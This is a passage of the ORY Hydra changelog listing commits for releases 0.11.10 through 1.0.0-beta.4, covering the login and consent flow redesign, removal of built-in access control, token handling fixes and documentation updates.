([87aae5f](https://github.com/ory/hydra/commit/87aae5ff39f385d8dfc4519fd762779869612232)) * Uses proper jwt strategy in oauth2 factory ([45e4439](https://github.com/ory/hydra/commit/45e44394383abafdfbed98bdf1727ac7de4355e2)) * Uses RFC6749 errors everywhere ([543e6bc](https://github.com/ory/hydra/commit/543e6bc8726f02774d771ab77471d4d7538671f4)) # [1.0.0-beta.4](https://github.com/ory/hydra/compare/v1.0.0-beta.3...v1.0.0-beta.4) (2018-06-13) docs: Incorporates changes from version v1.0.0-beta.3 ### Documentation * Incorporates changes from version v1.0.0-beta.3 ([d52cee5](https://github.com/ory/hydra/commit/d52cee546ee8220aeec92b34ae4ced077eec6e91)) # [1.0.0-beta.3](https://github.com/ory/hydra/compare/v1.0.0-beta.2...v1.0.0-beta.3) (2018-06-13) ci: Do not use yes for overwriting cp ### Continuous Integration * Do not use yes for overwriting cp ([0cc02f8](https://github.com/ory/hydra/commit/0cc02f857abb22716adc2f40dd81a31b9bb7dd36)) ### Documentation * Adds auto-generated benchmarks ([#897](https://github.com/ory/hydra/issues/897)) ([6a5ecf1](https://github.com/ory/hydra/commit/6a5ecf1f6f616474b80659effb543711919a1926)) * Adds upgrade instructions from 0.9.x to 1.0.0 ([2dcffc1](https://github.com/ory/hydra/commit/2dcffc1e613afc0183d0b2d9eca310f756264140)) * Fixes borken links ([a8e445b](https://github.com/ory/hydra/commit/a8e445b9a35b14b97831bca3c05b52ea686895c4)) * Fixes typo in upgrade guide ([580ff41](https://github.com/ory/hydra/commit/580ff41ddf1f91935fbede6e50926ae48bcdf159)) * Improves list styling in upgrade guide ([c5d4325](https://github.com/ory/hydra/commit/c5d4325c1b8eba544667ce3ffaf1756f051f4212)) * Incorporates changes from version v1.0.0-beta.2 ([a0a5d6c](https://github.com/ory/hydra/commit/a0a5d6cc713c7e8563a41c68c178a7197823692b)) * Resolves broken link in README ([06d0928](https://github.com/ory/hydra/commit/06d0928d6a91d2bd6b0cac137e38e1270a21c085)) * Updates installation from source section ([73af21c](https://github.com/ory/hydra/commit/73af21c3a0896480851f4e10e72d02e66bc45c7a)) * Updates link to open collective ([039c9ee](https://github.com/ory/hydra/commit/039c9ee187e310ed436d64ba96f8d47b2b19ff3f)) * Updates wrong wording in 0.9 -> 1.0 guide ([afbd8f8](https://github.com/ory/hydra/commit/afbd8f88a8f409e762b172fd091b537a0045aa0f)) ### Unclassified * Updates benchmarks ([f67f5df](https://github.com/ory/hydra/commit/f67f5dfbbc28ddf14bad01894784469c176fad6a)) * Updates benchmarks ([2ce1c27](https://github.com/ory/hydra/commit/2ce1c278b215bec2e893307fe09f0bf155ec3891)) * Updates benchmarks ([f4c7dc7](https://github.com/ory/hydra/commit/f4c7dc7150f901067862525da1cb9c49eedd1fb7)) * Updates benchmarks ([b8b6425](https://github.com/ory/hydra/commit/b8b6425f020f778decd0b738163678fc8fe53c03)) * Updates benchmarks ([d8eb737](https://github.com/ory/hydra/commit/d8eb7372d240b00ec823715d42b298e1a3271395)) * Updates benchmarks ([e171c18](https://github.com/ory/hydra/commit/e171c18737ec7ba82aaa548b1e4178db640ad0a0)) * Updates benchmarks ([b6c997d](https://github.com/ory/hydra/commit/b6c997dcde6452c143ae4c42582d3f998f59b405)) * Updates benchmarks ([147d231](https://github.com/ory/hydra/commit/147d23102262525fde9c5e8345e6c41252d3cb48)) * Updates benchmarks ([2b336e0](https://github.com/ory/hydra/commit/2b336e07bf381b12c2931456a551158783de857a)) * Adds vendor.orig to .gitignore ([bc33094](https://github.com/ory/hydra/commit/bc33094f6e6c8847494216eaef7b137161290dff)) * Updates benchmarks ([9932495](https://github.com/ory/hydra/commit/9932495123c3387762177408fb30a515aee70136)) * Updates benchmarks ([4456272](https://github.com/ory/hydra/commit/4456272317b38b6cd4b29698c742625c1dcae31b)) * Updates benchmarks ([ca77bca](https://github.com/ory/hydra/commit/ca77bca9a1c92fe4f612b0e09323770ef24f7ac8)) * Allows reading database from env in migrate sql ([#898](https://github.com/ory/hydra/issues/898)) ([6ba64e4](https://github.com/ory/hydra/commit/6ba64e4f70c098cb45f03455570f382b77f2e76d)), closes [#896](https://github.com/ory/hydra/issues/896) * Moves to metrics-middleware ([eb22c24](https://github.com/ory/hydra/commit/eb22c244be940da7db8dd7199e990892c0bd3573)) * Propagates oidc_context to consent request ([b6a0951](https://github.com/ory/hydra/commit/b6a095151d4aa2e89a9a0c0cd420a58248065e1c)), closes [#900](https://github.com/ory/hydra/issues/900): This patch resolves an issue where oidc_context would be included in the login request but not the consent request. # [1.0.0-beta.2](https://github.com/ory/hydra/compare/v1.0.0-beta.1...v1.0.0-beta.2) (2018-05-29) ci: Improves build toolchain ### Continuous Integration * Improves build toolchain ([ec2f3d3](https://github.com/ory/hydra/commit/ec2f3d34218a0dd8d9c2c6bb0c65cb3e40397abc)) # [1.0.0-beta.1](https://github.com/ory/hydra/compare/v0.11.12...v1.0.0-beta.1) (2018-05-29) docs: Add oidc conformity docs ### Build System * Updates to Go 1.10 ([73762c6](https://github.com/ory/hydra/commit/73762c6f9da74a9590423269349decd5b09bce32)) ### Documentation * Activating Open Collective ([#805](https://github.com/ory/hydra/issues/805)) ([ab5484b](https://github.com/ory/hydra/commit/ab5484b8054caa5d9adc8327d5274602c411397c)) * Activating Open Collective ([#805](https://github.com/ory/hydra/issues/805)) ([4adf673](https://github.com/ory/hydra/commit/4adf67352ed74640d2e1baa7b137c6f0472e7d23)) * Add oidc conformity docs ([9fefcd3](https://github.com/ory/hydra/commit/9fefcd3d62daef5722bb40a8564a61cc4e630e8c)) * Add redirect URIs for all flows to oidc scripts ([6369452](https://github.com/ory/hydra/commit/6369452c6896128f6609e3daa35ecab78ff19500)) * Adds OIDC Certification setup ([3db2cfc](https://github.com/ory/hydra/commit/3db2cfc4fa7418add8a17839a131cc90706e95ac)) * Adds proper link to telemetry guide ([85ede0c](https://github.com/ory/hydra/commit/85ede0c977cf6322b7e4f22319351f5582d93831)) * Adds remaining oidc certification results ([e5aefd8](https://github.com/ory/hydra/commit/e5aefd8026e0c26eb83f681cb12df345ded66f92)) * Documents that access control is no longer available ([bf8a3e2](https://github.com/ory/hydra/commit/bf8a3e28be42709d9424dc3f39afd514ab59d661)), closes [#888](https://github.com/ory/hydra/issues/888) * Improves upgrade guide for 1.0.0 ([e387dbc](https://github.com/ory/hydra/commit/e387dbc88e220ec5ec43dd844ddb29278523cdaa)) * Rename alpha to beta in upgrade ([780161b](https://github.com/ory/hydra/commit/780161b43a8dc9bc80f934fde852450592145b93)) * Updates banner ([3399be7](https://github.com/ory/hydra/commit/3399be7612eb9bdf233c48163fa54163dff94c48)) * Updates documentation on keto ([472fbec](https://github.com/ory/hydra/commit/472fbec5dd37f6eca6d83e4888329a08ad7e82d0)) * Updates links to docs ([173ee3d](https://github.com/ory/hydra/commit/173ee3d627f2f3df0b331c4126b641796465632c)) * Updates newsletter link in README ([eb786a5](https://github.com/ory/hydra/commit/eb786a51bba4bedc631fd11a30ed3a27cb6f2f2b)) * Updates oidc cert docs ([bc8ce36](https://github.com/ory/hydra/commit/bc8ce364eb507a2c7477d1603270efabd0f4ea02)) * Updates oidc-conformity proof and scripts ([bded254](https://github.com/ory/hydra/commit/bded2548a109330320437c3338e90ea655fd4f87)) * Updates sponsors and removes patreon links ([606e22d](https://github.com/ory/hydra/commit/606e22da74b61661ff817153c3449f44780780e8)) * Updates upgrade guide ([52dc9ca](https://github.com/ory/hydra/commit/52dc9caa7395c7a991dadd6b20ff715bbf4a1b5a)) ### Unclassified * Tells linguist to ignore SDK files ([e10016c](https://github.com/ory/hydra/commit/e10016c9f3ac22901ca78a8043d897e1f92dd562)) * Tells linguist to ignore SDK files ([f7f010a](https://github.com/ory/hydra/commit/f7f010adaa4e9d22d3e4a883886906b83639516a)) * Merge remote-tracking branch 'origin/master' into 1.0.x ([052ee83](https://github.com/ory/hydra/commit/052ee831e10626f452bf3cbc03a5baa990355ee9)): # Conflicts: # Gopkg.lock # cmd/server/handler.go # config/config.go # health/handler.go # oauth2/consent_strategy.go * cmd/server: Adds SQL consent DBAL configuration ([50e5509](https://github.com/ory/hydra/commit/50e550974b86b08c91c508cad0da2ed07e36c85d)) * cmd/server: Shortens long banner message ([78be474](https://github.com/ory/hydra/commit/78be4744724301e7ca34081806d8afdc57219df5)): The original banner message was way to big and cluttered logs a lot. This patch reduces the banner's size significantly. * Removes policy, warden and groups from this project ([3d0bf0b](https://github.com/ory/hydra/commit/3d0bf0bda5ea2bd73f9fed96e2aa7c1017638555)), closes [#807](https://github.com/ory/hydra/issues/807): We have learned a lot over the last year in terms of how ORY Hydra is being used. Initially, we wanted to avoid the problems facing popular databases like MongoDB or others, which did not include authentication for their management APIs. For this reason, the Warden API was born and primarily used internally and exposed via HTTP. We learned that access control policies are well received, but also add additional complexity to understanding the software. While we firmly believe that these policies implement best practices for access control in complex systems, we do understand that they add a barrier to getting started with ORY Hydra. For this reason we are planning on moving the Warden API from this project to ORY Oathkeeper or potentially it's own server. We would add a migration path for existing policy definitions to the new service. The default docker image would combine the services in such a way, that ORY Hydra is protected. We would additionally have an (insecure) docker image without authentication which can be used for testing. This also opens up the possibility of having more access control mechanisms than access control policies. For example, we can add ACL and RBAC and other mechanisms too. First I think it makes good sense to move this functionality into a separate service and remove the warden calls internally completely. The reason being that not everyone wants to rely on Hydra's access control. Sometimes it's enough to use a gateway in front and require e.g. an API key for management or whatever. New adopters are always baffled by complexity involved with policies and scopes. Removing that from the core could really help. The user survey has also shown that this stuff is quite complex to grasp. The idea is to have a separate service which is basically ladon as a HTTP API. I think it makes sense to add some functionality to resolve access tokens so it would basically be very similar to the current warden API - probably even equal. There would definitely be some backup mode where hydra's database tables and migrations are used as to make migration as easy as possible. Then, we would ship docker images and example set ups where different configurations are shown. One of the configurations would be the current one, so basically what we have now in hydra but with the three services combined in one image. * Add experimental detection of SQL error ([051a4b9](https://github.com/ory/hydra/commit/051a4b9a3299861de0150992f6a74423650283e8)): Returns a human-readable error for SQL errors. * Adds additional tests for prompt, max_age, id_token_hint ([3ef32e2](https://github.com/ory/hydra/commit/3ef32e25f2287bf1e7ea353a31fd4a45a47c4b7b)) * Adds authN session revokation on specific errors ([11d1497](https://github.com/ory/hydra/commit/11d1497acc17c2b7a7b001638a10cfd071410723)), closes [#854](https://github.com/ory/hydra/issues/854) [#855](https://github.com/ory/hydra/issues/855) * Adds e2e tests for authorize code flow ([0a9ae28](https://github.com/ory/hydra/commit/0a9ae286c8f150c3472427902315441cf8eae5cb)) * Adds e2e tests for authorize code flow ([68e006b](https://github.com/ory/hydra/commit/68e006bef30d9e80a63da72f83bdfd26094a57d5)) * Adds endpoint flag to token introspection ([9d27d47](https://github.com/ory/hydra/commit/9d27d47258892caf8913d230f87360d55f171fef)) * Adds id_token_hint_claims to oidc_context ([0e84341](https://github.com/ory/hydra/commit/0e84341b178709fcb504a84921071e0aaeb0d706)) * Adds jwt strategy and fixes nil pointer exception ([e608739](https://github.com/ory/hydra/commit/e608739f4ad8956ff48118762a5bdef224726888)) * Adds more strategy tests ([99fd63b](https://github.com/ory/hydra/commit/99fd63b91a1f2d162fc66a7e5abc7eda5f0523df)) * Adds mutex to memory manager ([6a60c45](https://github.com/ory/hydra/commit/6a60c45f72db6d038c32bd5f08a1be840ff00dea)) * Adds new prometheus metrics and metrics endpoint ([#827](https://github.com/ory/hydra/issues/827)) ([ef94f98](https://github.com/ory/hydra/commit/ef94f98982031245573f9ffe57195f1021b0a473)) * Adds port 4445 to docker-compose example ([576ac55](https://github.com/ory/hydra/commit/576ac55404c13fcac1e94188633ac9e7c1b1e20b)) * Adds test cases for prompt parameter ([c83cb3f](https://github.com/ory/hydra/commit/c83cb3fd71cf7c75ef44aac22d0262d59a4390de)) * Adds tests for prompt and max_age handling ([82310ff](https://github.com/ory/hydra/commit/82310ff4b0280a44e93e2e7549e44b406d6ac9f7)) * Adds version endpoint ([#845](https://github.com/ory/hydra/issues/845)) ([14739b4](https://github.com/ory/hydra/commit/14739b467356e909e9ec9c904b1287ed95b2b95e)) * Adds welcome screen to token user command ([5a7c73b](https://github.com/ory/hydra/commit/5a7c73b2a45b064184ca52dbcec773fd58461f23)) * Aligns issuer URL from well known with one from id token ([f739045](https://github.com/ory/hydra/commit/f7390459daa4bba2179e1834239aae9b9eab0e85)) * Always bust auth session if remember is false ([78e2bff](https://github.com/ory/hydra/commit/78e2bff188bdc4d92ce433b69d8c1a0cc2227800)), closes [#859](https://github.com/ory/hydra/issues/859) * Always bust auth session if remember is false ([b2725a7](https://github.com/ory/hydra/commit/b2725a7eae30e91959892ee7fd8ec087c804a927)), closes [#859](https://github.com/ory/hydra/issues/859) * Correct docker exec wording ([cbb01d2](https://github.com/ory/hydra/commit/cbb01d282ad3c7168bbbb4632c0512a2682e0119)): `exec` is an nsenter, not an ssh * Declare auto-generated key as use:sig ([9d489dd](https://github.com/ory/hydra/commit/9d489dde1e1b7d0eec3716d6e541d999d9cb1223)) * Deprecates connect command and introduces configurable credentials ([0b5f466](https://github.com/ory/hydra/commit/0b5f4666d86f8460003260f68dc5e1e029c5834c)), closes [#841](https://github.com/ory/hydra/issues/841) [#840](https://github.com/ory/hydra/issues/840): This patch deprecates the `hydra connect` command as internal access control has been removed from ORY Hydra and this command no longer serves any purpose. Instead, all commands are supplied with environment variables `HYDRA_URL`, `OAUTH2_CLIENT_ID`, `OAUTH2_CLIENT_SECRET`, `OAUTH2_ACCESS_TOKEN`. Please check out `hydra help <command>` for usage instructions. You should also check out the upgrade guide for more detailed upgrade instructions. This patch also renames some flags and command names which have been documented in the upgrade guide. * Detect and handle max_age/prompt in consent strategy ([af2b8e4](https://github.com/ory/hydra/commit/af2b8e49923269c9f23b764ecf7156e2ed2f8e82)) * Do not fail if max_age is very low but satisfied ([127561c](https://github.com/ory/hydra/commit/127561ca4226eb8f928988a5d2c8dcc94372e4c0)), closes [#862](https://github.com/ory/hydra/issues/862) * Formats and resolves missing test ([3db984d](https://github.com/ory/hydra/commit/3db984da7a3c8478c7effcde4ae4d05d911ed42a)) * Handle empty error as nil error in SQL helper ([6a9a0c0](https://github.com/ory/hydra/commit/6a9a0c0645d38442f27c3636012702f0cd5252a4)) * Handles auth time across login & consent flow ([3accccd](https://github.com/ory/hydra/commit/3accccdb205e702ad575faaec204a51b777c7c04)): This patch improves the handling of auth_time and thus resolves issues with prompt & max_age handling within fosite. * Handles consent error properly in SQL DBAL ([b1c2a39](https://github.com/ory/hydra/commit/b1c2a39bfe26ee02af876d91b26b2623d9d935df)) * Handles OAuth2 errors in token user command properly ([720adce](https://github.com/ory/hydra/commit/720adcede6bfe66b21d6f68a0e2b730672ccdb7b)) * Ignores JTI in userinfo ([f2ef5b1](https://github.com/ory/hydra/commit/f2ef5b129ff2077f427c5394e2aebf37e246ca2d)) * Implements login_hint capabilities ([ce8cc73](https://github.com/ory/hydra/commit/ce8cc73fac18ca968693e8fe934daaeb3fd9d3fa)), closes [#860](https://github.com/ory/hydra/issues/860) * Improves API route naming ([da5026c](https://github.com/ory/hydra/commit/da5026cf094522e1b510bcdb952d62f734d1db53)) * Improves auth_time handling ([538bfb9](https://github.com/ory/hydra/commit/538bfb9fb87f8c2e0a680c9919b6c1bd44092df0)) * Improves the consent flow design ([a002e30](https://github.com/ory/hydra/commit/a002e30577d3fe2c9df2089b3e4332b183f38fc2)), closes [#771](https://github.com/ory/hydra/issues/771) [#772](https://github.com/ory/hydra/issues/772): This patch makes significant changes to the consent flow. First, the consent flow is being renamed to "User Login and Consent Flow" and is split into two redirection flows, the "User Login Redirection Flow" and the "User Consent Flow". Conceptually, not a lot has changed but the APIs have been cleaned up and the new flow is a huge step towards OpenID Connect Certification. Besides easier implementation on the (previously known as) consent app, this patch introduces a new set of features which lets ORY Hydra detect previous logins and previously accepted consent requests. In turn, the user does not need to login or consent on every OAuth2 Authorize Code Flow. This patch additionally lays the foundation for revoking tokens per user or per user and client. Awesome. * Improves the token user command ([9bde521](https://github.com/ory/hydra/commit/9bde521961eb811075fcae3f73461057ddbd3a7d)) * Includes error debug message in token user command ([3f80d4e](https://github.com/ory/hydra/commit/3f80d4e89f2cf69192faab93ae50723b44ba3a00)) * Introduces client_secret_expires_at to client metadata ([#870](https://github.com/ory/hydra/issues/870)) ([56aa5d2](https://github.com/ory/hydra/commit/56aa5d267f541472958ab368143022671b65cbcc)), closes [#778](https://github.com/ory/hydra/issues/778): This patch introduces the `client_secret_expires_at` field without any functionality but to comply with the IETF spec. * Issues ID token in hybrid code flow ([6d126d6](https://github.com/ory/hydra/commit/6d126d66591be9c028ff91e23ce2ebdd204e4883)), closes [#875](https://github.com/ory/hydra/issues/875) * Moves templates to .github ([ba8f4f7](https://github.com/ory/hydra/commit/ba8f4f7ac3fa3aa8991b62f4dabeefd8a72b6513)) * Properly handle id_token error response ([28d3fcd](https://github.com/ory/hydra/commit/28d3fcd4ef5bda8d7c844277ae62b859b5598278)) * Properly handle requestedAt across the login/consent flow ([fccfc4d](https://github.com/ory/hydra/commit/fccfc4da6adfa960d67bf84adb00c5bce7d93797)) * Properly handles no result errors from consent check ([12aa6c5](https://github.com/ory/hydra/commit/12aa6c59764789478d30f1ebbf4f6e059520de56)) * Properly import mysql/pg drivers ([669f134](https://github.com/ory/hydra/commit/669f1344bb2c1cf115ead09a41ae0b71cfb762cc)) * Properly initializes consent strategy ([196925f](https://github.com/ory/hydra/commit/196925ff29ac8e004c42ec693d7d82314f24bca9)) * Properly parses CORS env vars ([e494412](https://github.com/ory/hydra/commit/e49441234eabfd5f61b299ffe26c8a2808b2a977)), closes [#886](https://github.com/ory/hydra/issues/886) * Properly uses issuer in JWT ([1940c3c](https://github.com/ory/hydra/commit/1940c3c8ff575887bd93adfc8a5e819dbf4d90c4)) * Rejects reqeuests with insufficient permissions ([7675144](https://github.com/ory/hydra/commit/76751443a1dc359c4973e7f355c982ad56f27ff1)), closes [#776](https://github.com/ory/hydra/issues/776): Currently, authorization requests fail when a client is being granted scopes that the client is not allowed to request - after consent. We should add an additional check that makes sure that the client isn't able to request scopes he isn't allowed to request before doing consent. We should keep the check after consent as well to make sure he wasn't accidentally granted scopes he isn't allowed to request. This patch resolves the addressed issue * Rejects requests without nonce in implicit/hybrid ([39a72c0](https://github.com/ory/hydra/commit/39a72c0b842184b0590f186ec786047c06d39bdd)), closes [#867](https://github.com/ory/hydra/issues/867) * Remove client secret from consent/login response ([acf9893](https://github.com/ory/hydra/commit/acf9893d55e805e55c1d7390f592480e83a4eff7)), closes [#878](https://github.com/ory/hydra/issues/878) * Remove rat (requested_at) from userinfo endpoint ([d091914](https://github.com/ory/hydra/commit/d0919141f6eb4a66300b91c77b2c891bf019037b)) * Remove unused code ([bcdc278](https://github.com/ory/hydra/commit/bcdc2789640597ef64230acaba6f2c49575cc82b)): This code was meant to be deleted in 9592a0069ed4b851cec8591038f9be5ce6d81a28 I believe. * Remove unused named returns ([3977b94](https://github.com/ory/hydra/commit/3977b941d8c9db78712c9a6142cb29c6a07d51f5)) * Removes access control relics ([a4d2e73](https://github.com/ory/hydra/commit/a4d2e73cdd5e07c2fd3012f8b3c17a6ba6059c57)) * Removes duplicate / in .well-known ([e387aea](https://github.com/ory/hydra/commit/e387aeaca5aef82f64997486000789a1963b5837)) * Removes stale code ([c730e36](https://github.com/ory/hydra/commit/c730e364b77bea8d60082d63d5215b874465eafc)) * Removes stray fmt.Print ([#858](https://github.com/ory/hydra/issues/858)) ([a9a377c](https://github.com/ory/hydra/commit/a9a377cc23190b3b09ba51461b769d393732cfb6)) * Removes the forced `hydra.*` scope in the SDK ([8c1adc3](https://github.com/ory/hydra/commit/8c1adc3fb95fc6b0454c1296830fd19fcbfbc6b8)) * Removes the need to specify OAuth2 credentials in config ([#869](https://github.com/ory/hydra/issues/869)) ([98044aa](https://github.com/ory/hydra/commit/98044aa796e64e3b9bcc27f08188c46a26f07532)) * Removes unused code and updates go dep ([d72efbf](https://github.com/ory/hydra/commit/d72efbf577f52277bec202249cd3d30d50504e9c)) * Renames --scopes flag to --scope ([a948211](https://github.com/ory/hydra/commit/a948211298646b8557b1510e2ae54cfe62ac8362)) * Replaces internal dockertest with sqlcon ([5cbf121](https://github.com/ory/hydra/commit/5cbf12117def57aec44d03df255a275e3df0fa40)) * Requests re-permission only custom schemes are used ([929f2f0](https://github.com/ory/hydra/commit/929f2f000e1da47f77ab4517ba7ef52bae671b66)), closes [#866](https://github.com/ory/hydra/issues/866) * Resolves broken consent detection ([a7949ed](https://github.com/ory/hydra/commit/a7949edfba95649e5cd38320ff25ae9793126654)) * Resolves broken reference in e2e test ([da4334b](https://github.com/ory/hydra/commit/da4334b92acab5237e97d1300e344e1ebe921835)) * Resolves broken SDK test ([476dff1](https://github.com/ory/hydra/commit/476dff1b421dd01c0af1a435377358bcf6c383f3)) * Resolves broken well-known test ([aa01423](https://github.com/ory/hydra/commit/aa01423521486e3593b6054bef39c0e18d145a1b)) * Resolves consent DBAL type conversion issues ([6edfe76](https://github.com/ory/hydra/commit/6edfe7648d00cac4b213cf238cc38d03398e3328)) * Resolves e2e test issues ([1a8a3b3](https://github.com/ory/hydra/commit/1a8a3b332515d240bc536ceaba2d3e2c73593de3)) * Resolves flaky MySQL tests on Circle-CI ([fcd9180](https://github.com/ory/hydra/commit/fcd9180d49cf41123c60e6bf84e02092b77129d2)), closes [#861](https://github.com/ory/hydra/issues/861) * Resolves issue with duplicate login session id ([14aae6a](https://github.com/ory/hydra/commit/14aae6a6bdba08ec424c4af3be4fdb20456493d5)) * Resolves issues with broken tests ([526e3a7](https://github.com/ory/hydra/commit/526e3a7dbed51633f58bbd7773d21a2325f7cc09)) * Resolves issues with e2e tests ([ff15dc5](https://github.com/ory/hydra/commit/ff15dc58a86e7f5df77445101c7ad4f845b7813d)) * Resolves issues with SQL and time.Zero() ([ad2c1c5](https://github.com/ory/hydra/commit/ad2c1c5ce6b6eba09e96c3bccb29027d4995f8f6)) * Resolves mutex issues ([9376b74](https://github.com/ory/hydra/commit/9376b7489d9bf71b8e842549bfe3b9b3f98dc58b)) * Resolves test issues ([ba81fdf](https://github.com/ory/hydra/commit/ba81fdff202bb37f6b58b4f2c0b17b5662011a9f)) * Resolves timing issues in broken tests ([540ccc9](https://github.com/ory/hydra/commit/540ccc99c08704c0c749de6b61890fa284f09cc0)) * Resolves timing issues in slow tests ([246e491](https://github.com/ory/hydra/commit/246e49169a8f78d9be06522b8ff143fee9e0fd2f)) * Resolves type mixup ([7e05c26](https://github.com/ory/hydra/commit/7e05c266b6bcc5d8c687d9af1dacebf68d56e92f)) * Resolves typo in issue template ([204886c](https://github.com/ory/hydra/commit/204886cab2a12c4214276e40a488dcbbd38c7408)) * Resolves typo in issue template ([8c32d93](https://github.com/ory/hydra/commit/8c32d93fe3f0ab118d699761b0092d621f45cc01)) * Resolves various issues related to audience claims ([7afed88](https://github.com/ory/hydra/commit/7afed882d8ee2ab467cf314dcf1f35182219272b)), closes [#790](https://github.com/ory/hydra/issues/790) [#687](https://github.com/ory/hydra/issues/687): This patch resolves issues related to the ID and Access Token audience claim: * Resolves various issues related to revokation ([608cc3d](https://github.com/ory/hydra/commit/608cc3dcc2d74cfd92f28304cff6d0673d3c1531)), closes [#884](https://github.com/ory/hydra/issues/884) [#693](https://github.com/ory/hydra/issues/693) [#889](https://github.com/ory/hydra/issues/889): This patch properly tracks access and refresh tokens across requests and thus resolves several issues related to broken token revokation: * Returns an error if skip is used together with remember ([6f8cef6](https://github.com/ory/hydra/commit/6f8cef6786088865235a895bc607d5500960a39f)): Previously, it was possible to remember an already remembered consent/login request. This patch resolves that. * Returns error on duplicate key in memory manager ([abe54ca](https://github.com/ory/hydra/commit/abe54ca07c6b563205bcbbe299b7826a400e33a5)) * Returns token type on introspection ([#832](https://github.com/ory/hydra/issues/832)) ([bf226dc](https://github.com/ory/hydra/commit/bf226dccd46c27fd4a4f7abb04cbd889eab691b2)): This patch adds the ability to return the token type ("refresh_token", "access_token") upon token introspection. * Returns token type on token introspection ([da6bb30](https://github.com/ory/hydra/commit/da6bb3009fda3ebace2caa362692472ef39b5fc3)), closes [#831](https://github.com/ory/hydra/issues/831) * Reverts 307 change ([66304eb](https://github.com/ory/hydra/commit/66304eba388467ad88a17191c03ab076063caa2f)) * Reverts 307 change ([425b33d](https://github.com/ory/hydra/commit/425b33d2c7ef1c0097380176ff7752b29e6b03ff)) * Runs gofmt ([126f0e0](https://github.com/ory/hydra/commit/126f0e093cfdc4de90599350b6c809ebab1d5d7f)) * Runs gofmt ([a88c499](https://github.com/ory/hydra/commit/a88c49924abdc0ec2ddcfb9070e1a0d512c0fa6a)) * Separates between readiness and aliveness ([fd289c0](https://github.com/ory/hydra/commit/fd289c00325169509370018ec4beb5fb955a760e)), closes [#887](https://github.com/ory/hydra/issues/887) * Trim left slash from userinfo endpoint ([a7edf63](https://github.com/ory/hydra/commit/a7edf63cbc92579b9b91f045fb329a2530daa30d)) * Updates auth-time to resolve timing issues ([6aff825](https://github.com/ory/hydra/commit/6aff8251ef96e9637420dd6b1362813ba973f345)) * Updates dependencies ([49b9a72](https://github.com/ory/hydra/commit/49b9a72992e743797cc78d27519b8871c2fa8ccb)) * Updates entrypoint command from host to serve ([2230ce6](https://github.com/ory/hydra/commit/2230ce6a0c96048cfd339fd7ee4f61d2ac8557dc)) * Updates fosite version to 0.19.2 ([eb0c3e6](https://github.com/ory/hydra/commit/eb0c3e6cf807c9972c1653c6033a38ff4387f9c2)) * Updates issue template ([63aec91](https://github.com/ory/hydra/commit/63aec91d0d1284eb21d98a8f0ff83bd05512fa04)) * Updates issue template ([915a20b](https://github.com/ory/hydra/commit/915a20b1e9dac612fba08806e1a3073fdbfc2838)) * Updates to fosite 0.19.x ([1942715](https://github.com/ory/hydra/commit/19427157c3012c17bd9f29a60bd0c7bd2a88299d)) * Updates to latest sqlcon version ([92e8d58](https://github.com/ory/hydra/commit/92e8d580af7ab02e6d48597440f220306409a7bf)) * Upgrades fosite dependency ([5fccb80](https://github.com/ory/hydra/commit/5fccb80d6508e5cecb14261e4df9e3427147b74e)) * Upgrades fosite dependency to 0.20.2 ([7acd9bf](https://github.com/ory/hydra/commit/7acd9bf50f6b6b6f28f303528e7edf908c4afa31)) * Use 307 instead of 302 to redirect ([2b43ce3](https://github.com/ory/hydra/commit/2b43ce320ae77f1e8d3c7b0ba3df8e5f54e0323f)) * Use 307 instead of 302 to redirect ([f4962c6](https://github.com/ory/hydra/commit/f4962c6625752f054e7f0dcb6aff991d4d7a8bc9)) * Use existing alpha-lower sequence ([93fb772](https://github.com/ory/hydra/commit/93fb7723a3b28401b5fb6ddd470ec7af372df2a0)) # [0.11.10](https://github.com/ory/hydra/compare/v0.11.9...v0.11.10) (2018-03-19) pkg: remove unused code This code was meant to be deleted in 9592a0069ed4b851cec8591038f9be5ce6d81a28 I believe. Signed-off-by: Euan Kemp <[email protected]> ### Documentation * Adds "Edit on GitHub" link to each document in guide ([ec6f000](https://github.com/ory/hydra/commit/ec6f000f34c1b8fd432ae64bb6b1e79ca8c8a32c)) * Adds automatic summary and toc generation ([#785](https://github.com/ory/hydra/issues/785)) ([02c878c](https://github.com/ory/hydra/commit/02c878c2de419703f641372bccc19fdde44a320b)) * Adds redirects for broken guide links ([#798](https://github.com/ory/hydra/issues/798)) ([fade6a3](https://github.com/ory/hydra/commit/fade6a3173aa06ee022fc56108d964a2140db4f7)) * Changes readme title" ([122f7d1](https://github.com/ory/hydra/commit/122f7d11a13c3a15b0db127f73c62b69c6769dc2)) * Clean up swagger specification ([2ad0a96](https://github.com/ory/hydra/commit/2ad0a96503531ff16c10d174454b37d49d30c8b4)) * Experiments with domain redirect ([2604b99](https://github.com/ory/hydra/commit/2604b99f6c936b1d54a6f5957e672f12758c4461)) * Fixes dead link to example policy ([#767](https://github.com/ory/hydra/issues/767)) ([4f3148e](https://github.com/ory/hydra/commit/4f3148ecd9d865accd13f4f1de04865c70a58d7b)): The policy linked to as an example has since been removed. Just point to a different policy instead. * Fixes redirect path ([d05c97b](https://github.com/ory/hydra/commit/d05c97b05b9742d75b101820502dd35c7a33e07c)) * Forwards docs to website ([560441d](https://github.com/ory/hydra/commit/560441d0420ee1a2e37cb98d16731e30db56b5cf)) * Improves API docs ([5a2e4df](https://github.com/ory/hydra/commit/5a2e4dfcfd136a1c5724255bd14bcf620bff14d4)) * Incorporates changes from version v0.11.4 ([6bf7e80](https://github.com/ory/hydra/commit/6bf7e800d45b68af7bfc050c8de97fdf492b116f)) * Lowercase source files and dirs ([6a56630](https://github.com/ory/hydra/commit/6a56630bbdaa492c86f386baa10ed3dcd5e1e7f6)) * Moves documentation to new repository. ([#800](https://github.com/ory/hydra/issues/800)) ([12a9c5c](https://github.com/ory/hydra/commit/12a9c5c029080198024fff98d73b531f734a6ac2)) * Removes apiary how-to ([6cbfa58](https://github.com/ory/hydra/commit/6cbfa58c6552f77ef4acd1cb949fbda6e5a69189)) * Removes summary plugin ([857d85f](https://github.com/ory/hydra/commit/857d85f250d202763ff987ab3efabf7e66d1fc7f)) * Resolves broken discord link ([8c445bc](https://github.com/ory/hydra/commit/8c445bc3f3d394d3670c716d7a736ebbaab3f3fc)) * Resolves broken header image link ([2820efc](https://github.com/ory/hydra/commit/2820efc1ae9662dfb1f3c74bb8aed258c13008aa)) * Resolves broken images and build ([#801](https://github.com/ory/hydra/issues/801)) ([4f6d2af](https://github.com/ory/hydra/commit/4f6d2af76fee775f39b23d68e0e40862117b18f0)) * Resolves broken links in docs ([b2698f1](https://github.com/ory/hydra/commit/b2698f173be00956f44ebfbb687b4c9127d094cc)) * Resolves broken redirects 